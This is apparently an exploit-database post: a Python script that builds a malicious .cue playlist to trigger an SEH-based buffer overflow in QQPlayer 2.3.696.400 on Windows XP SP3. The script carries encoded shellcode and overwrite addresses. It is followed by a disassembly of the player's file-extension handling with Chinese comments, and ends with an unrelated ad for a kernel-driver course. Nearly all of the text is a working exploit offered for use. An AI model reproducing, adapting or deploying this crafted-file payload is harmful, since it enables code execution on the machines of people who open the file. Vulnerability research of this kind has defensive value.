#!/usr/bin/env python
#################################################################
#
# Title: QQPlayer cue File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :
head = '''FILE "'''
junk = "A" * 780
nseh ="\x42\x61\x21\x61"
seh ="\xa9\x9e\x41\x00"
adjust="\x32\x42\x61\x33\xca\x83\xc0\x10"
shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o" "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41" "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK" "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01")
junk_="R"*8000
foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08"
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot
print len(shellcode)+len(adjust)+8+780-len("1S905A4D802Z5DOO01")
fobj = open("poc.cue","w")
fobj.write(payload)
fobj.close()
0042BBFC FF15 BC4F9800 call dword ptr ds:[<&MSVCR80.fopen>] ; MSVCR80.fopen
0042BC02 83C4 14 add esp,14
0042BC05 3BC7 cmp eax,edi
0042BC07 8946 04 mov dword ptr ds:[esi+4],eax
0042BC0A 0F84 BB000000 je QQPlayer.0042BCCB
0042BC10 8B9424 24010000 mov edx,dword ptr ss:[esp+124]
0042BC17 8B7A F4 mov edi,dword ptr ds:[edx-C]
0042BC1A 6A 2E push 2E
0042BC1C 8D8C24 28010000 lea ecx,dword ptr ss:[esp+128]
0042BC23 FF15 6C4C9800 call dword ptr ds:[<&MFC80U.#5524_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.78306777
0042BC29 2BF8 sub edi,eax
0042BC2B 57 push edi
0042BC2C 8D4424 0C lea eax,dword ptr ss:[esp+C]
0042BC30 50 push eax
0042BC31 8D8C24 2C010000 lea ecx,dword ptr ss:[esp+12C]
0042BC38 FF15 904C9800 call dword ptr ds:[<&MFC80U.#5558_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.78306AF3
0042BC3E 8D4C24 08 lea ecx,dword ptr ss:[esp+8]
0042BC42 C68424 1C010000>mov byte ptr ss:[esp+11C],7
0042BC4A FF15 A44C9800 call dword ptr ds:[<&MFC80U.#4074_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.783067C3
0042BC50 50 push eax
0042BC51 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
0042BC55 FF15 B04C9800 call dword ptr ds:[<&MFC80U.#774_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.7830609C
0042BC5B 68 78579800 push QQPlayer.00985778 ; UNICODE ".m3u",如果是.m3u文件
0042BC60 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
0042BC64 FF15 804C9800 call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D
0042BC6A 85C0 test eax,eax
0042BC6C 75 09 jnz short QQPlayer.0042BC77
0042BC6E 8BCE mov ecx,esi
0042BC70 E8 CBF6FFFF call QQPlayer.0042B340
0042BC75 EB 3D jmp short QQPlayer.0042BCB4
0042BC77 68 6C579800 push QQPlayer.0098576C ; UNICODE ".cue",如果是.cue文件
0042BC7C 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
0042BC80 FF15 804C9800 call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D
0042BC86 85C0 test eax,eax
0042BC88 75 10 jnz short QQPlayer.0042BC9A ;未跳转，进入下面的函数
0042BC8A 8BCE mov ecx,esi
0042BC8C E8 AFEAFFFF call QQPlayer.0042A740 ;跳转到此处
0042BC91 8BCE mov ecx,esi
0042BC93 E8 38EEFFFF call QQPlayer.0042AAD0
0042BC98 EB 1A jmp short QQPlayer.0042BCB4
0042BC9A 68 60579800 push QQPlayer.00985760 ; UNICODE ".asx",如果是.asx文件
0042BC9F 8D4C24 0C lea ecx,dword ptr ss:[esp+C]
0042BCA3 FF15 804C9800 call dword ptr ds:[<&MFC80U.#1472_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<w>; MFC80U.7830620D
0042BCA9 85C0 test eax,eax
0042BCAB 75 07 jnz short QQPlayer.0042BCB4
0042BCAD 8BCE mov ecx,esi
0042BCAF E8 4CF4FFFF call QQPlayer.0042B100
0042BCB4 8B4E 04 mov ecx,dword ptr ds:[esi+4]
0042BCB7 51 push ecx
0042BCB8 FF15 B84F9800 call dword ptr ds:[<&MSVCR80.fclose>] ; MSVCR80.fclose
0042BCBE 83C4 04 add esp,4
0042BCC1 8D4C24 08 lea ecx,dword ptr ss:[esp+8]
0042BCC5 FF15 BC4C9800 call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.78306092
0042BCCB 8D8C24 24010000 lea ecx,dword ptr ss:[esp+124]
0042BCD2 FF15 BC4C9800 call dword ptr ds:[<&MFC80U.#577_ATL::CStringT<wchar_t,StrTraitMFC_DLL<wchar_t,ATL::ChTraitsCRT<wc>; MFC80U.78306092
0042BCD8 8B8C24 14010000 mov ecx,dword ptr ss:[esp+114]
0042BCDF 5F pop edi
0042BCE0 8BC6 mov eax,esi
0042BCE2 64:890D 0000000>mov dword ptr fs:[0],ecx
0042BCE9 5E pop esi
0042BCEA 81C4 18010000 add esp,118
0042BCF0 C2 0400 retn 4
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
